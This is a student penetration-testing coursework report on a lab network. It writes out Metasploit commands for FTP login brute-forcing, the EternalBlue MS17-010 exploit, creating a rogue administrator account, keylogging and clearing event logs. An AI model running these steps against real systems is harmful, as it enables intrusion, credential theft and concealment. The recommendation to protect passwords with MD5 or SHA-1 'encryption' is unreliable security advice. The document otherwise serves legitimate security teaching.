Ethical Hacking J0HK 34

This document covers learning outcomes 2, 3 and 4. This involves planning a penetration test, using current techniques to undertake a penetration test, exploit system vulnerabilities, and implement appropriate countermeasures to a cyber-attack.

LO2, LO3 & LO4

Contents

[Rules Of Engagement 2](#_Toc3208023)

[Test Scope 2](#_Toc3208024)

[Reconnaissance 3](#_Toc3208025)

[Enumeration 4](#_Toc3208026)

[Manual Vulnerability Testing 5](#_Toc3208027)

[Automatic Vulnerability Testing 6](#_Toc3208028)

[Exploitation of System 7](#_Toc3208029)

[Maintaining Access 8](#_Toc3208030)

[Covering Tracks 9](#_Toc3208031)

[Executive Summary Report 10](#_Toc3208032)

[Recommendations 11](#_Toc3208033)

[Recommended Test 11](#_Toc3208034)

[Implemented Test 11](#_Toc3208035)

[Predicted Result 11](#_Toc3208036)

[Actual Result 11](#_Toc3208037)

This document is broken down into an initial nine section; each section is to be completed with the relevant information documented inside. For the practical demonstration parts of the document, they are labelled in yellow and require evidence of the task completed. You are to explain and show what you have done in relation to those sections. The first nine sections cover learning outcomes two and three.

After these sections are completed, you are required to write a short report on your findings, no more than 500 words. This is to be directed to a target audience of upper management, this is to be a non-technical report outlining the importance of security, your findings on the systems available to you and the implications of not fixing these issues. References to relevant legislation is required.

The final part of this assessment is to recommend and test solutions to the vulnerabilities for the systems presented. This could include the following, but is not restricted to, patching of Operating Systems, implementation of Intrusion Detection Systems or Intrusion Protection Systems. You are required to:

* Suggest recommendation
* Choose recommendations to implement
* Implement Recommendations
* Test the Implementation

|  |  |
| --- | --- |
| Rules Of Engagement | |
| Agreed Rules of Engagement with the lecturer based on the case study provided. | To penetrate test the agreed part of the Glasgow Clyde Network, trying to find and exploits any vulnerabilities and recommend solutions to negate these vulnerabilities. This will be done by using Active and Passive Reconnaisance, Enumeration, Manual and Automatic Vulnerability Testing, Exploiting the system by creating accounts and keylogging and finally deleting data to cover our tracks when exfiltrating. |
| Test Scope | |
| To be derived from the Rules of engagement. | * Active and passive reconnaissance * Using enumeration to gather information on the network (open ports, services and versions of installed software) * Manual and automatic vulnerability testing * Exploit said vulnerabilities * Maintain access to network * Clear my tracks of any activity on the network |

|  |  |
| --- | --- |
| Reconnaissance | |
| Once the footprint has been agreed, then a number of reconnaissance techniques should be discussed. These may include but are not limited to:  -Port Scanning  -Live Host Detection  -Social Engineering  -Active & Passive Reconnaissance | **Passive**  Passive reconnaissance is an attempt to gain intelligence on a computer or network without actively engaging said computer or network. Examples of passive reconnaissance could be war driving/access point mapping, looking for information on discarded computers or drives, researching someone’s social media in order to find likely passwords (e.g., pet names) or even masquerading as an authorised network user.  **Active**  Active reconnaissance is a type of computer attack in which the intruder engages with the system to gather information on vulnerabilities. This could be done by using tools such as ping, netcat and traceroot.  *Discover Network*  Command entered: **ip a**  A screenshot of a computer  Description automatically generated with medium confidence  *Finding Additional Devices*  Command entered: **fping -r 0 -g 192.168.1.0/24 | grep ‘alive’**  **A screenshot of a computer  Description automatically generated with medium confidence**  There is an additional node (currently unidentified) – 192.168.1.1 |

|  |  |
| --- | --- |
| Enumeration | |
| Enumeration of system information & user information by directly interacting with the systems. | This is the process of getting usernames, machine names and network information. This is a vital step as the information gathered here will be used in our further steps.  *NMAP*  Command entered: **nmap -v -max-retries 0 192.168.1.1**  **A screenshot of a computer  Description automatically generated with medium confidence**  There are number of open ports that are available to try and exploit.  Command entered: **nmap -v -A -sV max-retries 0 192.168.1.1 scans ports finds OS and versions**  A screenshot of a computer  Description automatically generated with medium confidence  Text  Description automatically generated  Text  Description automatically generated  We found from this nmap that the OS is Windows Server 2008 R2. We also discovered the domain name which is ethicalhacking.rw  *dnsRecon*  Command Entered: **dnsrecon – d ethicalhacking.rw -a**  **A screenshot of a computer  Description automatically generated with medium confidence**  This tells us that there are active DNS servers and port 53 is open and available to scan.  *Nc*  Command entered: **nc -zv 192.168.1.1 1-1000**  **A screenshot of a computer  Description automatically generated with medium confidence**  This displays all the ports from 1 to 1000 that are open |

|  |  |  |
| --- | --- | --- |
| Manual Vulnerability Testing | | |
| Vulnerability testing using specific tool for a one-time test. | A form of vulnerability testing that is performed by a human being. It is more discreet than automated testing as the engineer can be very specific in the queries made, this in term reduces the chance of detection.  *Metasploit*  Command entered**: use auxiliary/scanner/ftp/anonymous**  A screenshot of a computer  Description automatically generated with medium confidence  This result has shown that an anonymous account exists on the server.  Commands entered: **use auxiliary/scanner/ftp/ftp\_login**  **Ser USERNAME anonymous**  **Set RHOSTS 192.168.1.1**  **Set PASS\_FILE /usr/share/wordlists/Metasploit/unix\_passwords.txt**  **RUN**  A screenshot of a computer  Description automatically generated with medium confidence  This returns a successful login for user anonymous with the password admin, we can access the FTP by using this log in information.  *SMB Server Vulnerability*  Commands entered: **use auxiliary/scanner/smb/smb\_ms17\_010**  **set RHOSTS192.168.1.1**  **run**  **Text  Description automatically generated with low confidence**  This shows the host is vulnerable to MS17-010. | |
| Automatic Vulnerability Testing | | |
| Vulnerability testing using a vulnerability-testing suite. | | This is an automated process of checking for vulnerabilities using penetration testing tools. It can take longer than manual testing and is therefore more likely to lead to detection.  A screenshot of a computer  Description automatically generated with medium confidence  Graphical user interface, text  Description automatically generated  Graphical user interface, application  Description automatically generated  Graphical user interface, application  Description automatically generated  Graphical user interface, text, application, email  Description automatically generated  Graphical user interface, text, application, email  Description automatically generated  Graphical user interface, text, application, email  Description automatically generated  Graphical user interface, text, application, email  Description automatically generated |

|  |  |
| --- | --- |
| Exploitation of System | |
| Exploiting numerous systems within the defined network. | Exploiting the system is utilising a software vulnerability or security flaw to access the system.  *Metasploit*  Command entered: **use exploit/windows/smb/MS17\_010\_eternalblue**  **set payload windows/x64/meterpreter/bind\_tcp**  **set rhosts 192.168.1.1**  **run**  **Text  Description automatically generated**  **Text  Description automatically generated**  **A picture containing text, electronics, computer  Description automatically generated** |

|  |  |
| --- | --- |
| Maintaining Access | |
| Maintaining access through the use of different techniques this may include but is not limited to:  -Backdoor Trojans  -User Account Manipulation  - Additional Admin Access | This phase of pen testing is to allow the pentester to remain in the targeted system until they acquire and then extract information deemed valuable.  *Create new user*  Commands entered: **shell**  **net users**  Text  Description automatically generated  **net user /add rlothian P@ssw0rd**  **Text  Description automatically generated**  **net user**  **net localgroup /add Administrators rlothian**  **net user rlothian**  Text  Description automatically generated  *Graphical user interface  Description automatically generated*  *Keylogging*  Command entered: **ps**  **migrate 2528**  **getpid 2528**  **keyscan\_start**  **keyscan\_dump**  Text  Description automatically generated  Password keylogger  **ps**  **migrate 1388**  **getpid 1388**  **keyscan\_start**  **keyscan\_dump**  **Text  Description automatically generated** |

|  |  |
| --- | --- |
| Covering Tracks | |
| Exiting the system gracefully and with your tracks covered. | It is important to ensure that no trace of unauthorised access is left.  *Meterpreter*  Command entered: **run event\_manager -i**  **Text  Description automatically generated**  **run event\_manager -c**  **Text  Description automatically generated**  **run event\_manager -i**  **Text  Description automatically generated** |

# Executive Summary Report

During our penetration tests we have discovered some security vulnerabilities that, if left unaddressed, could lead to data loss thus breaking the Data Protection Act. This would mean that we would be liable for data loss and would be penalized by the judicial system. I will surmise these vulnerabilities and suggest solutions in order to keep the network secure.

During my initial tests I found that there were several ports open which can be used by hackers to access our network and gain unauthorized access to sensitive data. These open ports can be used to introduce malicious services to a system using malware. We can negate this risk by using a firewall to close off unused, open ports.

Using a scanner, I found an anonymous account with an unencrypted password (this password being admin) that can access the File Transfer Protocol. I would highly recommend keeping passwords encrypted and enforcing a policy of strong password creation, for example 3 unrelated words or requiring a mixture of letters and numbers.

I also found that the version of Windows being used, Windows Server 2008 Service Pack 2, is susceptible to remote code execution, i.e. an intruder being able to run code on the server remotely. By updating this version of Windows, the exploit will be fixed. This demonstrates how important it is that we keep software up to date.

Once by using these exploits I gained full access to the network where I was able to create an account with administrator privileges. After which I could easily install a keylogger which could give me access to sensitive data, passwords and emails. After which I manage to clear all records of any activity I had undertaken.

For the security of this company’s data and compliance to the Data Protection Act, it is imperative we implement the solutions suggested and schedule regular reviews of protocols regarding user account creation and curation, software updates and training of staff on security measures.

# Recommendations

|  |  |  |  |
| --- | --- | --- | --- |
| Recommendation | How to Test the Recommendation | Predicted Result | Actual Result |
| Add a firewall | Run test to see if ports are still open | Unused ports closed | Any unused port is closed, denying access to intruders. |
| Update Windows | After update run nMap to check OS version | OS updated | OS is updated and exploit has been patched |
| Encrypt passwords using SHA-1, MD5 or equivalent | Check using metaspolit | Passwords will change from human readable to encrypted | Passwords are no longer human readable |
| Enforce policy of stronger passwords by making users create new passwords with conditionals such as casing and mixture of letters and numbers | Attempt running jackthripper on new passwords | Password complexity is increased | Passwords are more complex greatly increasing the time it would take to crack thus making the chance of detection within our system much higher. |
| Monthly review of security protocols | n/a | By constantly reassessing our security protocols our system will be more secure. | n/a |